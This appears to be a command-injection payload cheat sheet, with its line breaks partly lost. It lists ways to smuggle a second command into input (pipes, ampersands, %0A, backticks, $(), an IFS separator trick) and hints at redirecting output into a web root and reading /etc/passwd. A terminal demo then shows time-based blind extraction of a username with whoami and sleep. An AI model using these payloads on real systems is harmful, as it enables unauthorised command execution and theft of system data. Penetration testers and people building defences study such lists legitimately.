#Both Unix and Windows supportedls||id; ls||id; ls||id; ls||id# Execute bothls|id; ls|id; ls|id; ls|id# Execute both (using a pipe)ls&&id; ls&&id; ls&&id; ls&&id# Execute 2º if 1º finish okls&id; ls&id; ls&id; ls&id# Execute both but you can only see the output of the 2ºls%0Aid# %0A Execute both (RECOMMENDED)#Only unix supported`ls`# ``$(ls) # $()ls; id# ; Chain commandsls${LS_COLORS:10:1}${IFS}id# Might be useful#Not executed but may be interesting> /var/www/html/out.txt #Try to redirect the output to a file< /etc/passwd #Try to send some input to the command
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s